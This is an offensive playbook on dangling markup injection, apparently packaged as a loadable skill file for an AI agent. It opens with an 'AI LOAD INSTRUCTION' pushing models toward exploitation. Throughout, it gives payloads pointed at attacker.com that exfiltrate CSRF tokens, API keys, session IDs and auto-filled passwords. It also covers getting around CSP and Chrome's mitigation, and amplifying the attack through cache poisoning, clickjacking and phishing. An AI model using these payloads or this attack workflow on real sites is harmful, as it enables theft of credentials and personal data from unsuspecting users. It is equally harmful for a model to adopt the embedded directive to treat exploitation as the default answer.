dangling-markup-injection

# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript > **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer. ## 0. RELATED ROUTING - [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup) - [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions - [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks - [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response - [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack --- ## 1. WHEN TO USE DANGLING MARKUP You need dangling markup when ALL of these are true: 1. You have an HTML injection point (reflected or stored) 2. JavaScript execution is blocked: - CSP blocks inline scripts and event handlers - Sanitizer strips `<script>`, `onerror`, `onload`, etc. - WAF blocks known XSS patterns 3. The page contains sensitive data AFTER your injection point: - CSRF tokens - Pre-filled form values (email, username, API keys) - Session identifiers in hidden fields - Sensitive user content **Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL. --- ## 2. CORE TECHNIQUE Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote. ```html Page before injection: <div>Hello USER_INPUT</div> <form> <input type="hidden" name="csrf" value="SECRET_TOKEN_123"> <input type="text" name="email" value="user@target.com"> </form> Injected payload: <img src="https://attacker.com/collect? Resulting HTML: <div>Hello <img src="https://attacker.com/collect?</div> <form> <input type="hidden" name="csrf" value="SECRET_TOKEN_123"> <input type="text" name="email" value="user@target.com"> </form> ...rest of page until next matching quote (")... ``` The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`. --- ## 3. EXFILTRATION VECTORS ### 3.1 Image Tag (Most Common) ```html <!-- Double-quote context --> <img src="https://attacker.com/collect? <!-- Single-quote context --> <img src='https://attacker.com/collect? <!-- Backtick context (IE only, legacy) --> <img src=`https://attacker.com/collect? ``` The browser sends a GET request to `attacker.com` with all consumed content as query parameters. **Blocked by**: `img-src` CSP directive ### 3.2 Form Action Hijack ```html <form action="https://attacker.com/collect"> <button>Click to continue</button> <!-- ``` If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction. **Blocked by**: `form-action` CSP directive **Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically. ### 3.3 Base Tag Hijack ```html <base href="https://attacker.com/"> ``` All subsequent relative URLs on the page resolve to attacker's server: - `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js` - `<a href="/profile">` → links to `https://attacker.com/profile` - `<form action="/submit">` → submits to `https://attacker.com/submit` **Blocked by**: `base-uri` CSP directive ### 3.4 Meta Refresh Redirect ```html <meta http-equiv="refresh" content="0;url=https://attacker.com/collect? ``` Redirects the entire page to attacker's server with consumed page content in the URL. **Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present. ### 3.5 Link/Stylesheet Exfiltration ```html <link rel="stylesheet" href="https://attacker.com/collect? ``` Browser requests the URL as a CSS resource, leaking consumed content. **Blocked by**: `style-src` CSP directive ### 3.6 Table Background (Legacy) ```html <table background="https://attacker.com/collect? ``` Works in older browsers that support the `background` attribute on table elements. **Blocked by**: `img-src` CSP directive ### 3.7 Video/Audio Poster ```html <video poster="https://attacker.com/collect? <audio src="https://attacker.com/collect? ``` **Blocked by**: `media-src` / `img-src` CSP directives --- ## 4. WHAT CAN BE STOLEN | Target Data | How It Appears in Page | Steal Technique | |---|---|---| | CSRF token | `<input type="hidden" name="csrf" value="...">` | Dangling `<img src=` before the form | | Pre-filled email | `<input value="user@example.com">` | Dangling tag before the input | | API keys in page | `var apiKey = "sk-..."` in inline script | Dangling tag before the script block | | Session ID in hidden field | `<input name="session" value="...">` | Dangling tag before the form | | Auto-filled passwords | Browser auto-fills password field | `<form action=attacker>` with matching input names | | OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page | | Internal URLs/paths | Links, script sources, API endpoints | `<base>` tag hijack captures all relative URLs | --- ## 5. BROWSER-SPECIFIC BEHAVIOR | Browser | Behavior | |---|---| | **Chrome/Chromium** | Blocks dangling markup in `<img>` `src` containing `<` or newlines (since Chrome 60). Still allows `<form action>`, `<base>`, `<link>`. | | **Firefox** | More permissive with dangling markup in image sources. Allows newlines in attribute values. | | **Safari** | Similar to Chrome's restrictions. May handle some edge cases differently. | | **Edge (Chromium)** | Same as Chrome behavior. | ### Chrome Mitigation Detail Chrome blocks navigation/resource load when the URL attribute value contains: - `<` character (indicates HTML tag consumption) - Newline characters (`\n`, `\r`) **Bypass**: Use `<form action>` instead of `<img src>` — Chrome's block only targets specific tags. --- ## 6. ADVANCED TECHNIQUES ### 6.1 Selective Consumption Choose quote type strategically: if page uses `"` for attributes, inject with `'` (and vice versa) to precisely control where consumption stops. ### 6.2 Textarea + Form Combo `<form action="https://attacker.com/collect"><textarea name="data">` — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker. ### 6.3 Comment / Style Dangling - `<!-- ` without closing `-->` consumes all content (no exfil, but hides page content) - `<style>` unclosed treats page as CSS; combine with `@import url("https://attacker.com/?` for exfil ### 6.4 Window.name via iframe `<iframe src="https://target.com/page" name="` — name attribute consumes content, and `window.name` persists across origins after navigation. --- ## 7. LIMITATIONS | Limitation | Detail | |---|---| | Same-origin content only | Dangling markup only captures content from the same HTTP response | | Quote matching | Consumption stops at the next matching quote character — may not reach target data | | CSP img-src/form-action | Strict CSP can block most exfiltration vectors | | Chrome's dangling markup mitigation | Blocks `<img src=` with `<` or newlines in URL | | Injection point must be before target data | Can only capture content that appears after the injection in HTML source order | | Content encoding | URL-unsafe characters in captured content may be mangled | --- ## 8. COMBINATION ATTACKS ### 8.1 Dangling Markup + Open Redirect ``` 1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect? 2. Open redirect on target.com makes the request "same-origin" for some CSP checks 3. Redirect sends captured data to attacker ``` ### 8.2 Dangling Markup + Cache Poisoning ``` 1. Find reflected HTML injection point 2. Inject dangling markup payload 3. If response is cached, ALL users see the dangling markup 4. Tokens/data from all victims exfiltrated ``` This turns a reflected injection into a stored/persistent attack. ### 8.3 Dangling Markup + CSRF ``` 1. Use dangling markup to steal CSRF token from page 2. Use stolen token to perform CSRF attack 3. Allows CSRF even when tokens are properly implemented ``` ### 8.4 Dangling Markup + Clickjacking ``` 1. Inject <form action="https://attacker.com/collect"><textarea name="data"> 2. Frame the page (if frame-ancestors allows) 3. Trick user into clicking "Submit" via clickjacking overlay 4. Form submits all captured page content to attacker ``` --- ## 9. DANGLING MARKUP DECISION TREE ``` HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)? │ ├── Identify injection context │ ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect? │ ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect? │ └── Inside script block? → Close script first: </script><img src="... │ ├── What sensitive data exists AFTER injection point? │ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack │ ├── User PII (email, name) → data theft │ ├── API keys / secrets → account compromise │ ├── No sensitive data after injection → dangling markup not useful here │ └── Check different pages — injection may be on a page with sensitive data │ ├── Choose exfiltration vector based on CSP │ ├── No CSP / lax CSP → <img src="... (simplest) │ ├── img-src restricted? │ │ ├── form-action unrestricted? → <form action="attacker"><textarea name=d> │ │ ├── base-uri unrestricted? → <base href="attacker"> │ │ └── style-src unrestricted? → <link rel=stylesheet href="... │ ├── Strict CSP on all directives? │ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker? │ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com"> │ │ └── Window.name via iframe? → <iframe name="... │ └── Nothing works? → dangling markup blocked, try other approaches │ ├── Handle Chrome's dangling markup mitigation │ ├── Target uses Chrome? → Avoid <img src= with < or newlines │ ├── Use <form action=> instead (not blocked) │ ├── Use <base href=> (not blocked) │ └── Test in Firefox as fallback (more permissive) │ ├── Choose quote type for maximum capture │ ├── Target data uses double quotes? → Inject with single quote: <img src='... │ ├── Target data uses single quotes? → Inject with double quote: <img src="... │ └── Mixed quotes? → Test both, see which captures more useful data │ └── Amplification ├── Response cached? → Poison cache → steal from multiple victims ├── Stored injection? → Every page view exfiltrates └── Reflected only? → Deliver via phishing link ``` --- ## 10. TRICK NOTES — WHAT AI MODELS MISS 1. **Dangling markup is THE answer when CSP blocks scripts but HTML injection exists.** Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript. 2. **Chrome's mitigation is tag-specific, not universal**: `<img src=` is mitigated, but `<form action=`, `<base href=`, `<meta http-equiv=refresh>` are NOT. Always try alternative vectors. 3. **Quote type selection is critical**: If the page uses `"` for attributes, inject with `'` (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing. 4. **Injection point placement matters enormously**: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it. 5. **`<textarea>` is the most underrated vector**: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted. 6. **Window.name persists across origins**: If you can inject an iframe, the `name` attribute technique is powerful because `window.name` survives cross-origin navigation — a rare cross-origin data channel. 7. **DNS prefetch exfiltration works even under strict CSP**: `<link rel=dns-prefetch href="//stolen-data.attacker.com">` triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.